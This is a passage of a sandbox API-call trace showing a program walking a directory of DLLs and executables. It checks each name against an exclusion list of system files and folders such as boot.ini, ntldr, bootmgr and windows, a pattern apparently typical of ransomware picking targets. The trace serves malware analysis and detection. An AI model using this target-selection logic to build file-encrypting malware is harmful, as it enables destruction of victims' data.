dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0108.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.859] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1054327, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1054327, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1184e2a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25e800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2=".") returned 1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="..") returned 1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="...") returned 1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="windows") returned -1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="$RECYCLE.BIN") returned 1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="rsa") returned -1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="NTDETECT.COM") returned -1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="ntldr") returned -1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="MSDOS.SYS") returned -1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="IO.SYS") returned -1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="boot.ini") returned 1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="boot.ini") returned 1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="AUTOEXEC.BAT") returned 1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="ntuser.dat") returned -1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="desktop.ini") returned 1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="CONFIG.SYS") returned 1 [0108.859] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="RECYCLER") returned -1 [0108.860] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="BOOTSECT.BAK") returned 1 [0108.860] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="bootmgr") returned 1 [0108.860] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="programdata") returned -1 [0108.860] lstrcmpiW (lpString1="ImagingEngine.dll", lpString2="appdata") returned 1 [0108.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingEngine.dll", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0108.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingEngine.dll", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ImagingEngine.dll", lpUsedDefaultChar=0x0) returned 17 [0108.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0108.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingEngine.dll", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0108.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingEngine.dll", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ImagingEngine.dll", lpUsedDefaultChar=0x0) returned 17 [0108.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0108.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingEngine.dll", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0108.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingEngine.dll", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ImagingEngine.dll", lpUsedDefaultChar=0x0) returned 17 [0108.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0108.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingEngine.dll", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0108.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ImagingEngine.dll", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ImagingEngine.dll", lpUsedDefaultChar=0x0) returned 17 [0108.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0108.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0108.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0108.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.860] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb102e1c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb102e1c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1054327, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10bc00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0108.860] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2=".") returned 1 [0108.860] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="..") returned 1 [0108.860] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="...") returned 1 [0108.860] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="windows") returned -1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="$RECYCLE.BIN") returned 1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="rsa") returned -1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="NTDETECT.COM") returned 1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="ntldr") returned 1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="MSDOS.SYS") returned 1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="IO.SYS") returned 1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="boot.ini") returned 1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="boot.ini") returned 1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="AUTOEXEC.BAT") returned 1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="ntuser.dat") returned 1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="desktop.ini") returned 1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="CONFIG.SYS") returned 1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="RECYCLER") returned -1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="BOOTSECT.BAK") returned 1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="bootmgr") returned 1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="programdata") returned -1 [0108.861] lstrcmpiW (lpString1="PhotoAcq.dll", lpString2="appdata") returned 1 [0108.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0108.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoAcq.dll", lpUsedDefaultChar=0x0) returned 12 [0108.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0108.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoAcq.dll", lpUsedDefaultChar=0x0) returned 12 [0108.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0108.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoAcq.dll", lpUsedDefaultChar=0x0) returned 12 [0108.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0108.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoAcq.dll", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoAcq.dll", lpUsedDefaultChar=0x0) returned 12 [0108.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0108.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.862] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b623846, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8b623846, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43a82ff0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2=".") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="..") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="...") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="windows") returned -1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="$RECYCLE.BIN") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="rsa") returned -1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="NTDETECT.COM") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="ntldr") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="MSDOS.SYS") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="IO.SYS") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="boot.ini") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="boot.ini") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="AUTOEXEC.BAT") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="ntuser.dat") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="desktop.ini") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="CONFIG.SYS") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="RECYCLER") returned -1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="BOOTSECT.BAK") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="bootmgr") returned 1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="programdata") returned -1 [0108.862] lstrcmpiW (lpString1="PhotoBase.dll", lpString2="appdata") returned 1 [0108.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoBase.dll", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0108.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoBase.dll", cchWideChar=13, lpMultiByteStr=0x653f590, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoBase.dll", lpUsedDefaultChar=0x0) returned 13 [0108.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoBase.dll", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0108.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoBase.dll", cchWideChar=13, lpMultiByteStr=0x653f590, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoBase.dll", lpUsedDefaultChar=0x0) returned 13 [0108.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoBase.dll", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0108.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoBase.dll", cchWideChar=13, lpMultiByteStr=0x653f5e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoBase.dll", lpUsedDefaultChar=0x0) returned 13 [0108.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoBase.dll", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0108.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoBase.dll", cchWideChar=13, lpMultiByteStr=0x653f618, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoBase.dll", lpUsedDefaultChar=0x0) returned 13 [0108.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0108.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94100 | out: hHeap=0x4f90000) returned 1 [0108.863] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb121d3ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb121d3ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb13c02ce, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1a5c00, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2=".") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="..") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="...") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="windows") returned -1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="$RECYCLE.BIN") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="rsa") returned -1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="NTDETECT.COM") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="ntldr") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="MSDOS.SYS") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="IO.SYS") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="boot.ini") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="boot.ini") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="AUTOEXEC.BAT") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="ntuser.dat") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="desktop.ini") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="CONFIG.SYS") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="RECYCLER") returned -1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="BOOTSECT.BAK") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="bootmgr") returned 1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="programdata") returned -1 [0108.863] lstrcmpiW (lpString1="PhotoViewer.dll", lpString2="appdata") returned 1 [0108.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0108.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.dll", lpUsedDefaultChar=0x0) returned 15 [0108.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0108.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0108.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.dll", lpUsedDefaultChar=0x0) returned 15 [0108.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0108.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0108.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.dll", lpUsedDefaultChar=0x0) returned 15 [0108.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0108.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0108.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PhotoViewer.dll", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PhotoViewer.dll", lpUsedDefaultChar=0x0) returned 15 [0108.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0108.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94100 [0108.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0108.864] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc43bb10, ftCreationTime.dwHighDateTime=0x1d4f8ed, ftLastAccessTime.dwLowDateTime=0x49f70bb0, ftLastAccessTime.dwHighDateTime=0x1d4df4d, ftLastWriteTime.dwLowDateTime=0x49f70bb0, ftLastWriteTime.dwHighDateTime=0x1d4df4d, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="points_conventions.exe", cAlternateFileName="POINTS~1.EXE")) returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2=".") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="..") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="...") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="windows") returned -1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="$RECYCLE.BIN") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="rsa") returned -1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="NTDETECT.COM") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="ntldr") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="MSDOS.SYS") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="IO.SYS") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="boot.ini") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="boot.ini") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="AUTOEXEC.BAT") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="ntuser.dat") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="desktop.ini") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="CONFIG.SYS") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="RECYCLER") returned -1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="BOOTSECT.BAK") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", lpString2="bootmgr") returned 1 [0108.864] lstrcmpiW (lpString1="points_conventions.exe", 